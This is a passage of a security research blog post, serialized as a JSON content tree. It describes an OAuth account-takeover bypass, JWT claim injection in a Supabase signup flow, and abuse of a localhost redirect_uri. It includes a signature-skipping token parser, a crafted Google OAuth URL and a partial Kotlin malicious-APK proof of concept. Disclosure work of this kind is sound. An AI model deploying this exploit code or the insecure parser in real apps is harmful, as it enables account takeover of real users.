",{"type":22,"tag":30,"props":73274,"children":73276},{"className":73275},[],[73277],{"type":27,"value":73102},{"type":27,"value":231},{"type":22,"tag":23,"props":73280,"children":73281},{},[73282],{"type":22,"tag":7959,"props":73283,"children":73285},{"alt":54574,"src":73284},"/posts/web2-in-web3/image-3.png",[],{"type":22,"tag":23,"props":73287,"children":73288},{},[73289],{"type":27,"value":73290},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":22,"tag":1760,"props":73292,"children":73294},{"id":73293},"patch-bypass",[73295],{"type":27,"value":73296},"Patch & Bypass",{"type":22,"tag":23,"props":73298,"children":73299},{},[73300],{"type":27,"value":73301},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":22,"tag":23,"props":73303,"children":73304},{},[73305],{"type":27,"value":73306},"To bypass the fix we were able to change the version in the URL:",{"type":22,"tag":6839,"props":73308,"children":73309},{},[73310,73321],{"type":22,"tag":6832,"props":73311,"children":73312},{},[73313,73319],{"type":22,"tag":30,"props":73314,"children":73316},{"className":73315},[],[73317],{"type":27,"value":73318},"https://auth.web3auth.io/v8/start",{"type":27,"value":73320}," (latest version)",{"type":22,"tag":6832,"props":73322,"children":73323},{},[73324,73330],{"type":22,"tag":30,"props":73325,"children":73327},{"className":73326},[],[73328],{"type":27,"value":73329},"https://auth.web3auth.io/v6/start",{"type":27,"value":73331}," (bypass)",{"type":22,"tag":23,"props":73333,"children":73334},{},[73335],{"type":27,"value":73336},"We reported this issue, and it was addressed just as quickly!",{"type":22,"tag":53,"props":73338,"children":73340},{"id":73339},"supabase-metadata-manipulation",[73341],{"type":27,"value":73342},"Supabase metadata manipulation",{"type":22,"tag":1760,"props":73344,"children":73346},{"id":73345},"supabase-authentication-flow",[73347],{"type":27,"value":73348},"Supabase Authentication flow",{"type":22,"tag":23,"props":73350,"children":73351},{},[73352,73359,73361,73368],{"type":22,"tag":80,"props":73353,"children":73356},{"href":73354,"rel":73355},"https://supabase.com/docs/guides/auth",[84],[73357],{"type":27,"value":73358},"Supabase",{"type":27,"value":73360}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":22,"tag":80,"props":73362,"children":73365},{"href":73363,"rel":73364},"https://jwt.io/",[84],[73366],{"type":27,"value":73367},"JWT",{"type":27,"value":73369}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":22,"tag":1760,"props":73371,"children":73373},{"id":73372},"jwt-verification",[73374],{"type":27,"value":73375},"JWT verification",{"type":22,"tag":23,"props":73377,"children":73378},{},[73379,73381,73386,73387,73393,73395,73401],{"type":27,"value":73380},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":22,"tag":30,"props":73382,"children":73384},{"className":73383},[],[73385],{"type":27,"value":73028},{"type":27,"value":209},{"type":22,"tag":30,"props":73388,"children":73390},{"className":73389},[],[73391],{"type":27,"value":73392},"identity_data",{"type":27,"value":73394},", in a signup request by manipulating the input inside the ",{"type":22,"tag":30,"props":73396,"children":73398},{"className":73397},[],[73399],{"type":27,"value":73400},"\"data\": {}",{"type":27,"value":73402}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":22,"tag":23,"props":73404,"children":73405},{},[73406,73408,73414,73415,73421,73423,73429],{"type":27,"value":73407},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":22,"tag":30,"props":73409,"children":73411},{"className":73410},[],[73412],{"type":27,"value":73413},"\"role\": \"admin\"",{"type":27,"value":17136},{"type":22,"tag":30,"props":73416,"children":73418},{"className":73417},[],[73419],{"type":27,"value":73420},"\"email_verified\": true",{"type":27,"value":73422},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":22,"tag":30,"props":73424,"children":73426},{"className":73425},[],[73427],{"type":27,"value":73428},"\"test\": \"test\"",{"type":27,"value":73430},", enabling us to inject arbitrary data into the final JWT token.",{"type":22,"tag":23,"props":73432,"children":73433},{},[73434],{"type":22,"tag":7959,"props":73435,"children":73437},{"alt":54574,"src":73436},"/posts/web2-in-web3/image-4.png",[],{"type":22,"tag":23,"props":73439,"children":73440},{},[73441],{"type":27,"value":73442},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":22,"tag":23,"props":73444,"children":73445},{},[73446],{"type":27,"value":73447},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":22,"tag":91,"props":73449,"children":73451},{"className":35359,"code":73450,"language":35361,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[73452],{"type":22,"tag":30,"props":73453,"children":73454},{"__ignoreMap":7},[73455,73480,73492,73561,73610,73658,73703,73726,73763,73779,73786],{"type":22,"tag":101,"props":73456,"children":73457},{"class":103,"line":104},[73458,73462,73467,73471,73476],{"type":22,"tag":101,"props":73459,"children":73460},{"style":108},[73461],{"type":27,"value":35373},{"type":22,"tag":101,"props":73463,"children":73464},{"style":926},[73465],{"type":27,"value":73466}," parseSupaBase",{"type":22,"tag":101,"props":73468,"children":73469},{"style":120},[73470],{"type":27,"value":980},{"type":22,"tag":101,"props":73472,"children":73473},{"style":126},[73474],{"type":27,"value":73475},"token",{"type":22,"tag":101,"props":73477,"children":73478},{"style":120},[73479],{"type":27,"value":1463},{"type":22,"tag":101,"props":73481,"children":73482},{"class":103,"line":157},[73483,73488],{"type":22,"tag":101,"props":73484,"children":73485},{"style":3595},[73486],{"type":27,"value":73487}," try",{"type":22,"tag":101,"props":73489,"children":73490},{"style":120},[73491],{"type":27,"value":154},{"type":22,"tag":101,"props":73493,"children":73494},{"class":103,"line":182},[73495,73499,73503,73508,73512,73517,73521,73526,73530,73534,73539,73543,73548,73552,73557],{"type":22,"tag":101,"props":73496,"children":73497},{"style":108},[73498],{"type":27,"value":36897},{"type":22,"tag":101,"props":73500,"children":73501},{"style":120},[73502],{"type":27,"value":911},{"type":22,"tag":101,"props":73504,"children":73505},{"style":126},[73506],{"type":27,"value":73507},"header",{"type":22,"tag":101,"props":73509,"children":73510},{"style":120},[73511],{"type":27,"value":758},{"type":22,"tag":101,"props":73513,"children":73514},{"style":126},[73515],{"type":27,"value":73516},"payload",{"type":22,"tag":101,"props":73518,"children":73519},{"style":120},[73520],{"type":27,"value":758},{"type":22,"tag":101,"props":73522,"children":73523},{"style":126},[73524],{"type":27,"value":73525},"signature",{"type":22,"tag":101,"props":73527,"children":73528},{"style":120},[73529],{"type":27,"value":12668},{"type":22,"tag":101,"props":73531,"children":73532},{"style":166},[73533],{"type":27,"value":1511},{"type":22,"tag":101,"props":73535,"children":73536},{"style":126},[73537],{"type":27,"value":73538}," token",{"type":22,"tag":101,"props":73540,"children":73541},{"style":120},[73542],{"type":27,"value":231},{"type":22,"tag":101,"props":73544,"children":73545},{"style":926},[73546],{"type":27,"value":73547},"split",{"type":22,"tag":101,"props":73549,"children":73550},{"style":120},[73551],{"type":27,"value":980},{"type":22,"tag":101,"props":73553,"children":73554},{"style":6476},[73555],{"type":27,"value":73556},"'.'",{"type":22,"tag":101,"props":73558,"children":73559},{"style":120},[73560],{"type":27,"value":994},{"type":22,"tag":101,"props":73562,"children":73563},{"class":103,"line":367},[73564,73568,73573,73577,73581,73585,73589,73593,73598,73602,73606],{"type":22,"tag":101,"props":73565,"children":73566},{"style":108},[73567],{"type":27,"value":36897},{"type":22,"tag":101,"props":73569,"children":73570},{"style":126},[73571],{"type":27,"value":73572}," decodedHeader",{"type":22,"tag":101,"props":73574,"children":73575},{"style":166},[73576],{"type":27,"value":960},{"type":22,"tag":101,"props":73578,"children":73579},{"style":126},[73580],{"type":27,"value":41524},{"type":22,"tag":101,"props":73582,"children":73583},{"style":120},[73584],{"type":27,"value":231},{"type":22,"tag":101,"props":73586,"children":73587},{"style":926},[73588],{"type":27,"value":43206},{"type":22,"tag":101,"props":73590,"children":73591},{"style":120},[73592],{"type":27,"value":980},{"type":22,"tag":101,"props":73594,"children":73595},{"style":926},[73596],{"type":27,"value":73597},"atob",{"type":22,"tag":101,"props":73599,"children":73600},{"style":120},[73601],{"type":27,"value":980},{"type":22,"tag":101,"props":73603,"children":73604},{"style":126},[73605],{"type":27,"value":73507},{"type":22,"tag":101,"props":73607,"children":73608},{"style":120},[73609],{"type":27,"value":3950},{"type":22,"tag":101,"props":73611,"children":73612},{"class":103,"line":398},[73613,73617,73622,73626,73630,73634,73638,73642,73646,73650,73654],{"type":22,"tag":101,"props":73614,"children":73615},{"style":108},[73616],{"type":27,"value":36897},{"type":22,"tag":101,"props":73618,"children":73619},{"style":126},[73620],{"type":27,"value":73621}," decodedPayload",{"type":22,"tag":101,"props":73623,"children":73624},{"style":166},[73625],{"type":27,"value":960},{"type":22,"tag":101,"props":73627,"children":73628},{"style":126},[73629],{"type":27,"value":41524},{"type":22,"tag":101,"props":73631,"children":73632},{"style":120},[73633],{"type":27,"value":231},{"type":22,"tag":101,"props":73635,"children":73636},{"style":926},[73637],{"type":27,"value":43206},{"type":22,"tag":101,"props":73639,"children":73640},{"style":120},[73641],{"type":27,"value":980},{"type":22,"tag":101,"props":73643,"children":73644},{"style":926},[73645],{"type":27,"value":73597},{"type":22,"tag":101,"props":73647,"children":73648},{"style":120},[73649],{"type":27,"value":980},{"type":22,"tag":101,"props":73651,"children":73652},{"style":126},[73653],{"type":27,"value":73516},{"type":22,"tag":101,"props":73655,"children":73656},{"style":120},[73657],{"type":27,"value":3950},{"type":22,"tag":101,"props":73659,"children":73660},{"class":103,"line":428},[73661,73665,73669,73674,73678,73682,73687,73691,73695,73699],{"type":22,"tag":101,"props":73662,"children":73663},{"style":3595},[73664],{"type":27,"value":19742},{"type":22,"tag":101,"props":73666,"children":73667},{"style":120},[73668],{"type":27,"value":1479},{"type":22,"tag":101,"props":73670,"children":73671},{"style":126},[73672],{"type":27,"value":73673},"header:",{"type":22,"tag":101,"props":73675,"children":73676},{"style":126},[73677],{"type":27,"value":73572},{"type":22,"tag":101,"props":73679,"children":73680},{"style":120},[73681],{"type":27,"value":758},{"type":22,"tag":101,"props":73683,"children":73684},{"style":126},[73685],{"type":27,"value":73686},"payload:",{"type":22,"tag":101,"props":73688,"children":73689},{"style":126},[73690],{"type":27,"value":73621},{"type":22,"tag":101,"props":73692,"children":73693},{"style":120},[73694],{"type":27,"value":758},{"type":22,"tag":101,"props":73696,"children":73697},{"style":126},[73698],{"type":27,"value":73525},{"type":22,"tag":101,"props":73700,"children":73701},{"style":120},[73702],{"type":27,"value":22298},{"type":22,"tag":101,"props":73704,"children":73705},{"class":103,"line":997},[73706,73710,73714,73718,73722],{"type":22,"tag":101,"props":73707,"children":73708},{"style":120},[73709],{"type":27,"value":19777},{"type":22,"tag":101,"props":73711,"children":73712},{"style":3595},[73713],{"type":27,"value":52408},{"type":22,"tag":101,"props":73715,"children":73716},{"style":120},[73717],{"type":27,"value":3603},{"type":22,"tag":101,"props":73719,"children":73720},{"style":126},[73721],{"type":27,"value":18865},{"type":22,"tag":101,"props":73723,"children":73724},{"style":120},[73725],{"type":27,"value":1463},{"type":22,"tag":101,"props":73727,"children":73728},{"class":103,"line":1032},[73729,73734,73738,73742,73746,73751,73755,73759],{"type":22,"tag":101,"props":73730,"children":73731},{"style":126},[73732],{"type":27,"value":73733}," console",{"type":22,"tag":101,"props":73735,"children":73736},{"style":120},[73737],{"type":27,"value":231},{"type":22,"tag":101,"props":73739,"children":73740},{"style":926},[73741],{"type":27,"value":18865},{"type":22,"tag":101,"props":73743,"children":73744},{"style":120},[73745],{"type":27,"value":980},{"type":22,"tag":101,"props":73747,"children":73748},{"style":6476},[73749],{"type":27,"value":73750},"'Error parsing token:'",{"type":22,"tag":101,"props":73752,"children":73753},{"style":120},[73754],{"type":27,"value":758},{"type":22,"tag":101,"props":73756,"children":73757},{"style":126},[73758],{"type":27,"value":18865},{"type":22,"tag":101,"props":73760,"children":73761},{"style":120},[73762],{"type":27,"value":994},{"type":22,"tag":101,"props":73764,"children":73765},{"class":103,"line":1063},[73766,73770,73775],{"type":22,"tag":101,"props":73767,"children":73768},{"style":3595},[73769],{"type":27,"value":19742},{"type":22,"tag":101,"props":73771,"children":73772},{"style":108},[73773],{"type":27,"value":73774}," null",{"type":22,"tag":101,"props":73776,"children":73777},{"style":120},[73778],{"type":27,"value":1520},{"type":22,"tag":101,"props":73780,"children":73781},{"class":103,"line":1071},[73782],{"type":22,"tag":101,"props":73783,"children":73784},{"style":120},[73785],{"type":27,"value":1734},{"type":22,"tag":101,"props":73787,"children":73788},{"class":103,"line":1110},[73789],{"type":22,"tag":101,"props":73790,"children":73791},{"style":120},[73792],{"type":27,"value":188},{"type":22,"tag":1760,"props":73794,"children":73795},{"id":44328},[73796],{"type":27,"value":44331},{"type":22,"tag":23,"props":73798,"children":73799},{},[73800,73802,73809,73811,73817],{"type":27,"value":73801},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":22,"tag":80,"props":73803,"children":73806},{"href":73804,"rel":73805},"https://supabase.com/docs/guides/database/postgres/row-level-security",[84],[73807],{"type":27,"value":73808},"Row-Level Security",{"type":27,"value":73810}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":22,"tag":30,"props":73812,"children":73814},{"className":73813},[],[73815],{"type":27,"value":73816},"app_metadata",{"type":27,"value":73818},". These fields must be strictly validated at every step of their creation and update processes.",{"type":22,"tag":53,"props":73820,"children":73822},{"id":73821},"oauth-in-development-environments",[73823],{"type":27,"value":73824},"OAuth in development environments",{"type":22,"tag":23,"props":73826,"children":73827},{},[73828,73830,73837,73839,73844],{"type":27,"value":73829},"After watching a ",{"type":22,"tag":80,"props":73831,"children":73834},{"href":73832,"rel":73833},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[84],[73835],{"type":27,"value":73836},"talk",{"type":27,"value":73838}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":22,"tag":30,"props":73840,"children":73842},{"className":73841},[],[73843],{"type":27,"value":73270},{"type":27,"value":73845}," parameter during the OAuth flow.",{"type":22,"tag":23,"props":73847,"children":73848},{},[73849,73851,73858],{"type":27,"value":73850},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":22,"tag":80,"props":73852,"children":73855},{"href":73853,"rel":73854},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[84],[73856],{"type":27,"value":73857},"Remote Code Execution",{"type":27,"value":73859}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":22,"tag":23,"props":73861,"children":73862},{},[73863,73865,73871],{"type":27,"value":73864},"In one of our client's implementations, we identified that ",{"type":22,"tag":30,"props":73866,"children":73868},{"className":73867},[],[73869],{"type":27,"value":73870},"localhost:3000",{"type":27,"value":73872}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":22,"tag":23,"props":73874,"children":73875},{},[73876],{"type":27,"value":73877},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":22,"tag":91,"props":73879,"children":73883},{"className":73880,"code":73881,"language":73882,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[73884],{"type":22,"tag":30,"props":73885,"children":73886},{"__ignoreMap":7},[73887],{"type":22,"tag":101,"props":73888,"children":73889},{"class":103,"line":104},[73890],{"type":22,"tag":101,"props":73891,"children":73892},{},[73893],{"type":27,"value":73881},{"type":22,"tag":23,"props":73895,"children":73896},{},[73897],{"type":27,"value":73898},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":22,"tag":91,"props":73900,"children":73904},{"className":73901,"code":73902,"language":73903,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[73905],{"type":22,"tag":30,"props":73906,"children":73907},{"__ignoreMap":7},[73908,73935,73942,73974,73996,74003,74011,74033,74045,74057,74092,74118,74168,74175,74182,74189,74197,74219,74254,74267,74274,74281,74302,74328,74340,74361,74378,74390,74416,74455,74476,74484,74496,74521,74533,74546,74554,74561,74569,74577,74584,74614,74621],{"type":22,"tag":101,"props":73909,"children":73910},{"class":103,"line":104},[73911,73916,73921,73926,73931],{"type":22,"tag":101,"props":73912,"children":73913},{"style":108},[73914],{"type":27,"value":73915},"class",{"type":22,"tag":101,"props":73917,"children":73918},{"style":114},[73919],{"type":27,"value":73920}," MainActivity",{"type":22,"tag":101,"props":73922,"children":73923},{"style":120},[73924],{"type":27,"value":73925}," : ",{"type":22,"tag":101,"props":73927,"children":73928},{"style":114},[73929],{"type":27,"value":73930},"AppCompatActivity",{"type":22,"tag":101,"props":73932,"children":73933},{"style":120},[73934],{"type":27,"value":19734},{"type":22,"tag":101,"props":73936,"children":73937},{"class":103,"line":157},[73938],{"type":22,"tag":101,"props":73939,"children":73940},{"emptyLinePlaceholder":15},[73941],{"type":27,"value":1581},{"type":22,"tag":101,"props":73943,"children":73944},{"class":103,"line":182},[73945,73950,73954,73959,73964,73969],{"type":22,"tag":101,"props":73946,"children":73947},{"style":108},[73948],{"type":27,"value":73949}," override",{"type":22,"tag":101,"props":73951,"children":73952},{"style":108},[73953],{"type":27,"value":826},{"type":22,"tag":101,"props":73955,"children":73956},{"style":926},[73957],{"type":27,"value":73958}," onCreate",{"type":22,"tag":101,"props":73960,"children":73961},{"style":120},[73962],{"type":27,"value":73963},"(savedInstanceState: ",{"type":22,"tag":101,"props":73965,"children":73966},{"style":114},[73967],{"type":27,"value":73968},"Bundle",{"type":22,"tag":101,"props":73970,"children":73971},{"style":120},[73972],{"type":27,"value":73973},"?) {\n",{"type":22,"tag":101,"props":73975,"children":73976},{"class":103,"line":367},[73977,73982,73986,73991],{"type":22,"tag":101,"props":73978,"children":73979},{"style":108},[73980],{"type":27,"value":73981}," super",{"type":22,"tag":101,"props":73983,"children":73984},{"style":120},[73985],{"type":27,"value":231},{"type":22,"tag":101,"props":73987,"children":73988},{"style":926},[73989],{"type":27,"value":73990},"onCreate",{"type":22,"tag":101,"props":73992,"children":73993},{"style":120},[73994],{"type":27,"value":73995},"(savedInstanceState)\n",{"type":22,"tag":101,"props":73997,"children":73998},{"class":103,"line":398},[73999],{"type":22,"tag":101,"props":74000,"children":74001},{"emptyLinePlaceholder":15},[74002],{"type":27,"value":1581},{"type":22,"tag":101,"props":74004,"children":74005},{"class":103,"line":428},[74006],{"type":22,"tag":101,"props":74007,"children":74008},{"style":2215},[74009],{"type":27,"value":74010}," // Start the Ktor web server\n",{"type":22,"tag":101,"props":74012,"children":74013},{"class":103,"line":997},[74014,74019,74024,74029],{"type":22,"tag":101,"props":74015,"children":74016},{"style":926},[74017],{"type":27,"value":74018}," CoroutineScope",{"type":22,"tag":101,"props":74020,"children":74021},{"style":120},[74022],{"type":27,"value":74023},"(Dispatchers.IO).",{"type":22,"tag":101,"props":74025,"children":74026},{"style":926},[74027],{"type":27,"value":74028},"launch",{"type":22,"tag":101,"props":74030,"children":74031},{"style":120},[74032],{"type":27,"value":154},{"type":22,"tag":101,"props":74034,"children":74035},{"class":103,"line":1032},[74036,74041],{"type":22,"tag":101,"props":74037,"children":74038},{"style":3595},[74039],{"type":27,"value":74040}," try",{"type":22,"tag":101,"props":74042,"children":74043},{"style":120},[74044],{"type":27,"value":154},{"type":22,"tag":101,"props":74046,"children":74047},{"class":103,"line":1063},[74048,74053],{"type":22,"tag":101,"props":74049,"children":74050},{"style":926},[74051],{"type":27,"value":74052}," startWebServer",{"type":22,"tag":101,"props":74054,"children":74055},{"style":120},[74056],{"type":27,"value":11746},{"type":22,"tag":101,"props":74058,"children":74059},{"class":103,"line":1071},[74060,74065,74070,74074,74079,74083,74088],{"type":22,"tag":101,"props":74061,"children":74062},{"style":120},[74063],{"type":27,"value":74064}," Log.",{"type":22,"tag":101,"props":74066,"children":74067},{"style":926},[74068],{"type":27,"value":74069},"d",{"type":22,"tag":101,"props":74071,"children":74072},{"style":120},[74073],{"type":27,"value":980},{"type":22,"tag":101,"props":74075,"children":74076},{"style":6476},[74077],{"type":27,"value":74078},"\"WebServer\"",{"type":22,"tag":101,"props":74080,"children":74081},{"style":120},[74082],{"type":27,"value":758},{"type":22,"tag":101,"props":74084,"children":74085},{"style":6476},[74086],{"type":27,"value":74087},"\"Server started on http://localhost:3000\"",{"type":22,"tag":101,"props":74089,"children":74090},{"style":120},[74091],{"type":27,"value":2510},{"type":22,"tag":101,"props":74093,"children":74094},{"class":103,"line":1110},[74095,74100,74104,74109,74114],{"type":22,"tag":101,"props":74096,"children":74097},{"style":120},[74098],{"type":27,"value":74099}," } ",{"type":22,"tag":101,"props":74101,"children":74102},{"style":108},[74103],{"type":27,"value":52408},{"type":22,"tag":101,"props":74105,"children":74106},{"style":120},[74107],{"type":27,"value":74108}," (e: ",{"type":22,"tag":101,"props":74110,"children":74111},{"style":114},[74112],{"type":27,"value":74113},"Exception",{"type":22,"tag":101,"props":74115,"children":74116},{"style":120},[74117],{"type":27,"value":1463},{"type":22,"tag":101,"props":74119,"children":74120},{"class":103,"line":1118},[74121,74125,74129,74133,74137,74141,74146,74150,74155,74159,74163],{"type":22,"tag":101,"props":74122,"children":74123},{"style":120},[74124],{"type":27,"value":74064},{"type":22,"tag":101,"props":74126,"children":74127},{"style":926},[74128],{"type":27,"value":55450},{"type":22,"tag":101,"props":74130,"children":74131},{"style":120},[74132],{"type":27,"value":980},{"type":22,"tag":101,"props":74134,"children":74135},{"style":6476},[74136],{"type":27,"value":74078},{"type":22,"tag":101,"props":74138,"children":74139},{"style":120},[74140],{"type":27,"value":758},{"type":22,"tag":101,"props":74142,"children":74143},{"style":6476},[74144],{"type":27,"value":74145},"\"Error starting server: ",{"type":22,"tag":101,"props":74147,"children":74148},{"style":108},[74149],{"type":27,"value":38104},{"type":22,"tag":101,"props":74151,"children":74152},{"style":166},[74153],{"type":27,"value":74154},"e.message",{"type":22,"tag":101,"props":74156,"children":74157},{"style":108},[74158],{"type":27,"value":38136},{"type":22,"tag":101,"props":74160,"children":74161},{"style":6476},[74162],{"type":27,"value":24051},{"type":22,"tag":101,"props":74164,"children":74165},{"style":120},[74166],{"type":27,"value":74167},", e)\n",{"type":22,"tag":101,"props":74169,"children":74170},{"class":103,"line":1158},[74171],{"type":22,"tag":101,"props":74172,"children":74173},{"style":120},[74174],{"type":27,"value":62882},{"type":22,"tag":101,"props":74176,"children":74177},{"class":103,"line":1166},[74178],{"type":22,"tag":101,"props":74179,"children":74180},{"style":120},[74181],{"type":27,"value":2398},{"type":22,"tag":101,"props":74183,"children":74184},{"class":103,"line":1215},[74185],{"type":22,"tag":101,"props":74186,"children":74187},{"emptyLinePlaceholder":15},[74188],{"type":27,"value":1581},{"type":22,"tag":101,"props":74190,"children":74191},{"class":103,"line":2425},[74192],{"type":22,"tag":101,"props":74193,"children":74194},{"style":2215},[74195],{"type":27,"value":74196}," // Open the Google OAuth page\n",{"type":22,"tag":101,"props":74198,"children":74199},{"class":103,"line":5417},[74200,74205,74210,74214],{"type":22,"tag":101,"props":74201,"children":74202},{"style":108},[74203],{"type":27,"value":74204}," val",{"type":22,"tag":101,"props":74206,"children":74207},{"style":120},[74208],{"type":27,"value":74209}," googleOAuthUrl ",{"type":22,"tag":101,"props":74211,"children":74212},{"style":166},[74213],{"type":27,"value":1511},{"type":22,"tag":101,"props":74215,"children":74216},{"style":6476},[74217],{"type":27,"value":74218}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":101,"props":74220,"children":74221},{"class":103,"line":7714},[74222,74226,74231,74235,74240,74245,74249],{"type":22,"tag":101,"props":74223,"children":74224},{"style":108},[74225],{"type":27,"value":74204},{"type":22,"tag":101,"props":74227,"children":74228},{"style":120},[74229],{"type":27,"value":74230}," browserIntent ",{"type":22,"tag":101,"props":74232,"children":74233},{"style":166},[74234],{"type":27,"value":1511},{"type":22,"tag":101,"props":74236,"children":74237},{"style":926},[74238],{"type":27,"value":74239}," Intent",{"type":22,"tag":101,"props":74241,"children":74242},{"style":120},[74243],{"type":27,"value":74244},"(Intent.ACTION_VIEW, Uri.",{"type":22,"tag":101,"props":74246,"children":74247},{"style":926},[74248],{"type":27,"value":43206},{"type":22,"tag":101,"props":74250,"children":74251},{"style":120},[74252],{"type":27,"value":74253},"(googleOAuthUrl))\n",{"type":22,"tag":101,"props":74255,"children":74256},{"class":103,"line":7723},[74257,74262],{"type":22,"tag":101,"props":74258,"children":74259},{"style":926},[74260],{"type":27,"value":74261}," startActivity",{"type":22,"tag":101,"props":74263,"children":74264},{"style":120},[74265],{"type":27,"value":74266},"(browserIntent)\n",{"type":22,"tag":101,"props":74268,"children":74269},{"class":103,"line":7791},[74270],{"type":22,"tag":101,"props":74271,"children":74272},{"style":120},[74273],{"type":27,"value":1734},{"type":22,"tag":101,"props":74275,"children":74276},{"class":103,"line":7799},[74277],{"type":22,"tag":101,"props":74278,"children":74279},{"emptyLinePlaceholder":15},[74280],{"type":27,"value":1581},{"type":22,"tag":101,"props":74282,"children":74283},{"class":103,"line":7829},[74284,74289,74293,74298],{"type":22,"tag":101,"props":74285,"children":74286},{"style":108},[74287],{"type":27,"value":74288}," private",{"type":22,"tag":101,"props":74290,"children":74291},{"style":108},[74292],{"type":27,"value":826},{"type":22,"tag":101,"props":74294,"children":74295},{"style":926},[74296],{"type":27,"value":74297}," startWebServer",{"type":22,"tag":101,"props":74299,"children":74300},{"style":120},[74301],{"type":27,"value":19734},{"type":22,"tag":101,"props":74303,"children":74304},{"class":103,"line":7837},[74305,74310,74315,74319,74324],{"type":22,"tag":101,"props":74306,"children":74307},{"style":926},[74308],{"type":27,"value":74309}," embeddedServer",{"type":22,"tag":101,"props":74311,"children":74312},{"style":120},[74313],{"type":27,"value":74314},"(CIO, port ",{"type":22,"tag":101,"props":74316,"children":74317},{"style":166},[74318],{"type":27,"value":1511},{"type":22,"tag":101,"props":74320,"children":74321},{"style":1544},[74322],{"type":27,"value":74323}," 3000",{"type":22,"tag":101,"props":74325,"children":74326},{"style":120},[74327],{"type":27,"value":1463},{"type":22,"tag":101,"props":74329,"children":74330},{"class":103,"line":7868},[74331,74336],{"type":22,"tag":101,"props":74332,"children":74333},{"style":926},[74334],{"type":27,"value":74335}," 